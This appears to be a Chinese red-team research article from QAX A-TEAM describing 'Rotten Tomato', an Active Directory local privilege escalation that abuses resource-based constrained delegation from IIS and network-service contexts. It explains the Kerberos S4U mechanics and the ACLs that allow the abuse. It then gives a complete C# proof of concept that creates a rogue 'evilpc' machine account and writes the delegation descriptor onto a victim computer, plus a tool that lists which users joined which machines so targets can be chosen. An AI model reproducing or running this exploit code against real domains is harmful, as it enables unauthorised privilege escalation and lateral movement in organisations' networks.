微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)

我叫“烂番茄”,你一定听过“烂土豆”,对我们都可以在IIS下本地提权。

作者:n0thing@QAX A-TEAM
校对:L.N.@QAX A-TEAM
同时感谢QAX A-TEAM审核团对本文提出的宝贵建议。

0x01 前言

这个标题可能有点“标题党”的嫌疑,但内容我想不会让大家失望的。读过《这是一篇“不一样”的真实渗透测试案例分析文章》的同学应该还记得文中的基于资源的约束委派的利用,当时文中很多细节都一笔带过了,这篇文章中会解答一部分。

这篇文章主要从利用基于资源的约束委派来本地提权的角度展开,大致分为三部分:第一部分我们会讲基础知识,但不会深入;第二部分我们会分析提权原理;第三部分主要以利用思路和演示为主。

“烂番茄”,这是一个新名词,这时你一定想到了“烂土豆”,对,我们都可以在IIS下本地提权,文末将以IIS下的权限提升为例进行讲解。

0x02 基础知识

这篇文章的本地提权是一种基于资源的约束委派的利用,因此读者必须要有部分Kerberos委派的基础知识,推荐详细阅读《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》,这篇文章从基础的Kerberos委派讲起。如果你还缺少Kerberos的基础知识,推荐阅读《Kerberos and Windows Security Series》。下文中将不会再详细介绍以上前置知识,但会简单的说下基于资源的约束委派(RBCD)

**基于资源的约束委派(RBCD)**是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

下面我们通过一个简单的业务场景来说明RBCD的作用,假设网站A服务器是一个文件系统,而网站A服务器只有网站程序相关的功能,真正存放文件的是文件服务器B。这种场景下,用户X登录该网站,打开网站中文件1.txt,因为1.txt实际存储在文件服务器B中,此时网站A服务器就需要访问文件服务器B的权限。如果我们利用RBCD来实现这个业务场景,流程如下图:
image-20200317160306216

  • 用户X 登录网站,访问文件1.txt,此时A服务器需要向B服务器请求资源
  • A服务器首先利用S4U2Self向KDC请求一张用户X的ST,这里为什么使用S4U2Self,是因为如果用户X登录网站是使用的非Kerberos协议,就涉及到协议转换的问题,因此需要使用S4USelf。如果用户X是使用Kerberos认证登录的,在A服务器上会有用户X的ST,就不需要使用S4USelf去申请ST,直接使用用户X的ST。
  • 我们利用用户X的ST去执行S4U2Proxy获取访问服务器B的ST了,最后用服务器B的ST就能够访问到文件服务器B上的文件了。
    在上面的描述中涉及到了S4U2SelfS4U2Proxy这两个Kerberos扩展协议。
  • S4U2Self
    通过此扩展可以拿到一张标识任意用户身份的ST(图中是去获取的用户X身份的ST),上文已经解释过了,它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候,网站A是没有用户X的ST的,但是网站A要去获取文件服务器B的访问权限需要用户X的ST,因此S4U2Self解决了这个问题,网站A服务器可以使用它去向KDC请求一张用户X身份的ST,网站A服务器再用这张ST去发起S4U2proxy请求。
  • S4U2proxy
    该拓展作用是使用一张用户X身份的ST去向KDC请求一张用于访问文件服务器B的ST,这张ST的身份还是用户X,这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了。

相信此时大家应该明白了**基于资源的约束委派(RBCD)**的认证流程。怎么来设置基于资源的约束委派呢?其中msDS-AllowedToActOnBehalfOfOtherIdentity是关键。

  • msDS-AllowedToActOnBehalfOfOtherIdentity
    msDS-AllowedToActOnBehalfOfOtherIdentity,在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中介绍过了。此属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。简而言之, 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据,但该票据只对这台机器生效,然后拿这张票据去对计算机进行认证。也就是说当域内存在任意一台域控和域功能级别是server 2012及以上时,可以通过给所在机器配置"msDS-AllowedToActOnBehalfOfOtherIdentity"属性来设置rbcd,然后通过s4u协议申请高权限票据进行利用

如果你还是不太明白基于资源的约束委派,请详细阅读节首提到了文章《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》,再继续阅读下面的内容。接下来就是关于提权原理相关的介绍。

0x03 提权原理

《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》中提到了一些利用RBCD本地提权的方案都是基于WEBDAV结合NTLM relay到ldap去设置msDS-AllowedToActOnBehalfOfOtherIdentity属性的方案,例如:利用用户头像更新的UNC路径和MSSQL的xp_dirtree的利用。

在本文当中我们会换个思路来思考RBCD的利用,首先我们来思考一个问题:**"谁有权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?" **

分析环境如下:
image-20200317202219424
查询web3的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性发现默认是不存在的。
image-20200317160436279
由此得知所有加入域的机器默认不存在这个属性,需要手动添加才行!

那么谁权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?的问题就变成了谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性?

我们再看web3这台机器的LDAP ACL权限情况,用.net实现一个查看ACL的小工具,代码如下:
image-20200317160636300
编译运行后会输出哪些对象拥有哪些权限,而这两条ACL引起了我的注意

REDTEAM\web3user -> WriteProperty
NT AUTHORITY\SELF -> WriteProperty

REDTEAM\web3user

先来看这条 ACL

REDTEAM\web3user -> WriteProperty

WriteProperty是指拥有写入对象属性的权限,看到这里不禁露出笑容,这不是我们正想要的么 😃
参考:ActiveDirectoryRights Enum
image-20200317160732563
使用ADExplorer来测试是否可以添加msDS-AllowedToActOnBehalfOfOtherIdentity,用web3user登录
image-20200317160813763
然后添加属性,value是O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;serverA的sid)组成的,其中value里面的sid用于访问检查,以确定这个sid对象是否有权限代表其他身份进行认证。
image-20200317160831817
不出所料,很轻松地添加上了。
image-20200317160856735
为什么REDTEAM\web3user拥有WriteProperty权限呢?当web3计算机通过域用户web3user加入域时,域内会创建名为web3.redteam.com的计算机对象,而创建者就是web3user,所以该域用户具有对web3.redteam.com的WriteProperty权限。

可以在"mS-DS-CreatorSID"属性中看到,这台计算机是谁创建的,sid对应所属域用户
image-20200317161102062
image-20200317161128093

NT AUTHORITY\SELF

然后我们再分析另一条ACL

NT AUTHORITY\SELF -> WriteProperty

image-20200317161531916
NT AUTHORITY\SELF 自身(web3.redteam.com)对于自身对象拥有ReadProperty, WriteProperty等权限那么就可以随便操作msDS-AllowedToActOnBehalfOfOtherIdentity属性了。

至此我们再来回答这谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性?

  • REDTEAM\web3user -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户)
  • NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改)
    我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。

因此web3user和机器账户自身都可以去创建一个新的机器账户。现在我们就满足了2个利用基于资源的约束委派的条件:

  • 能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性;
  • 有一个机器账户(这里说法其实不太准确,应该是需要一个具有SPN的账户,更详细的说是需要一个账户的TGT就可以,机器账户满足以上条件)。

知道了以上条件,接下来就是一个完整S4U2协议的利用过程。

S4U2协议的利用过程

假设我们现在已经在n0thing-pc(域中一台普通机器)上拥有了上文分析的满足了2个利用基于资源的约束委派的条件。接下来继续分析一下怎么通过s4u拿到一张访问n0thing-pc的高权限票据。

  • 第一步,连接域控ldap创建计算机账户evilpc
    image-20200317202321831
    image-20200317173947427在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中我们提到"域控不允许在未加密的链接中创建计算机用户"。那么上面给的代码为什么是去连接域控389端口(ldap)而不是去连接636端口(ldaps)创建呢?答案是:ldaps需要配置证书才能使用,在默认环境下就不能正常工作,而ldap只要将Sealing属性设置为ture则可以用sasl加密连接。
    image-20200317174018686

  • 第二步,通过ldap协议在域控上设置n0thing-pc的msds-allowedtoactonbehalfofotheridentity值为O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;evilpc的sid)

    image-20200317174533499
  • 第三步,使用evilpc凭据拿到一张TGT,这张TGT是为了下一步使用s4u2self时的必备身份验证条件
    image-20200317174604395

  • 第四步 使用s4u2self代表administrator拿到一张ST
    简单分析一下tgs-req做了什么?
    首先将evilpc的tgt放在TGQ-REQ -> padata -> PA-DATA PA-TGS-REQ ->padata-value->ap-req 结构体中
    image-20200317174741565
    表示以administrator这个用户身份申请一张ST
    image-20200317175054527
    对自己请求
    image-20200317175113759
    再看TGS-REP
    这张ST是用evilpc hash加密的
    image-20200317175213648
    s4u2self这个步骤作用是 evilpc拿自己的tgt票据请求一张访问evilpc的ST,且该ST的身份是administrator,而这张ST是用evilpc的hash加密的

  • 第五步 这是s4u最后一步-s4u2proxy,我们拿从s4u2self那里获取到的ST作为验证信息再去请求一张用于访问n0thing-pc机器CIFS spn的ST票据。
    img
    sname必须是spn,通过setspn -Q */*并没有看到存在cifs spn,为什么又可以申请成功呢?
    img
    因为HOST/N0THING-PC.redteam.com是多个SPN的集合,其中就涵盖了cifs

    最后拿这张票据就可以去通过操作smb服务执行命令了。

以上就是S4U2协议的利用的过程,也是基于资源的约束委派的一个详细利用过程。原理基本就到此结束了,接下来是详细的利用场景。

0x04 利用场景

新的攻击面 mS-DS-CreatorSID

说一下在真实场景中可能会出现的情况,场景如下:

新员工n0thing入职后用工作电脑加入公司域时,域内会创建名为n0thing-pc.redteam.com的计算机账户,而域用户n0thing则对计算机账户(n0thing-pc.redteam.com)的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性拥有写入权限
image-20200317180309794
测试环境如下:
image-20200317202412105
在以往的渗透场景中经常会出现攻击者对企业员工进行钓鱼攻击,而n0thing同学不慎中招了,但是发现该用户没有在本地管理员组里面,这时候攻击者想用mimikatz等工具获取这台机器密码时就会陷入困境。
image-20200317193925397
让我们开始提权之旅,前面已经详细讲述了S4U2的利用原理,这里就给大家看利用过程。

这当然不仅仅可以用来提权,还存在其他攻击场景

  • 一个公司可能会有一个专门用来加域的账号,虽然这个账户通常只有普通域用户权限,但是如果我们控制了这个账户那么就可以打下一大批机器。
  • 如果我们想拿域内机器A的权限,如果我们又没有机器A administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的,控制了这个用户依然可以获取权限。
  • 一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域),当我们有了域用户X的权限时,可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。
    下面给出用.net实现在域内查询计算机"mS-DS-CreatorSID"属性的工具
using System;
using System.Security.Principal;
using System.DirectoryServices;

namespace ConsoleApp9
{
    class Program
    {

        static void Main(string[] args)
        {

            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");

            DirectorySearcher search = new DirectorySearcher(ldap_conn);

            String query = "(&(objectClass=computer))";//查找计算机

            search.Filter = query;

            foreach (SearchResult r in search.FindAll())
            {
                String mS_DS_CreatorSID="";
                String computername = "";
                try
                {
                    computername = r.Properties["dNSHostName"][0].ToString();
                    
                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
                    //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
                }
                catch
                {
                    ;
                }
                //再通过sid找用户名
                String UserQuery = "(&(objectClass=user))";
                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
                search2.Filter = UserQuery;
                
                foreach (SearchResult u in search2.FindAll())
                {
                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
                    
                    
                    if (user_sid == mS_DS_CreatorSID) {
                        //Console.WriteLine("debug");
                        String username = u.Properties["name"][0].ToString();
                        Console.WriteLine("[*] [{0}] -> creator  [{1}]",computername, username);
                    }
                }  
            }
        }
    }
}

如图所示,只要我们有域用户n0thing的凭据就能利用rbcd将dev01、dev02、n0thing-pc这几台机器打下来。
image-20200317181049795

iis提权以及拓展

在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中我们提到了system做relay是通过机器账户去请求的,那么iis用户 iis apppool\defaultapppool 出网会是什么权限呢?

是的,也是机器账户去请求的

查阅资料发现微软的文档(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)中是这样解释的
image-20200317161601427
iis apppool 账号请求网络资源时用的是当前机器账户身份请求的

而这样设计会导致一个非常严重的问题就是可以直接连接到域控的ldap设置基于资源约束委派。并且不止iis可以提权,所有低权限服务(例如network service这类型的本机服务)如果可以请求域资源,那么出网都是以机器账户身份去请求的,这样都会造成权限提升。

我们来看下域内iis上的提权过程,配置如下环境
image-20200317205252594

轻松提权,上文中我们提到了低权限服务,我们还对 nt authority\network service 权限进行了测试,得到的结果都和iis一样,出网身份是机器账户,也就是说它可以用同样的手法提权。

  • nt authority\network service
    image-20200317181455457
    域环境服务账户出网身份如下:
    image-20200317205318601
    更多的利用手法和利用场景,有兴趣的朋友可以翻阅微软文档继续挖掘,比如:sql server的利用。

0x05 总结

本文介绍了RBCD提权原理并分析出了默认可利用RBCD进行攻击的账户:将机器加入域的那个账户(mS-DS-CreatorSID)SELF机器账户自身。我们还分析了以机器账户出网的账户有:SYSTEMiis apppool\defaultapppoolnetwork service,结合这些条件我们提出了IIS本地提权的思路和mS-DS-CreatorSID的新的攻击面(从本地提权到横向移动的利用思路)。更多的利用思路希望读者自己发掘。

最后附上上文演示中的poc,代码参考自SharpAllowedToAct

using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;

namespace Addnew_MachineAccount
{
    class Program
    {
        static void Main(string[] args)
        {
            String DomainController = "192.168.20.10";
            String Domain = "redteam.com";
            //String username = args[0]; //域用户名
            //String password = args[1]; //域用户密码
            String new_MachineAccount = "evilpc"; //添加的机器账户
            String new_MachineAccount_password = "123456"; //机器账户密码
            String victimcomputer = "web2"; //需要进行提权的机器
            String victimcomputer_ldap_path = "LDAP://CN=web2,CN=Computers,DC=redteam,DC=com";
            String machine_account = new_MachineAccount;
            String sam_account = machine_account + "$";
  
            String distinguished_name = "";
            String[] DC_array = null;
            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;

            }
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
            });
            try
            {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] "+ new_MachineAccount +" SID : " + sid.Value);
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN="+victimcomputer+")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
                search.PropertiesToLoad.Add(property);
            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try
                {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[+] Exploit successfully!");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] \nFailed...");
                    return;
                }
            }
        }
    }
}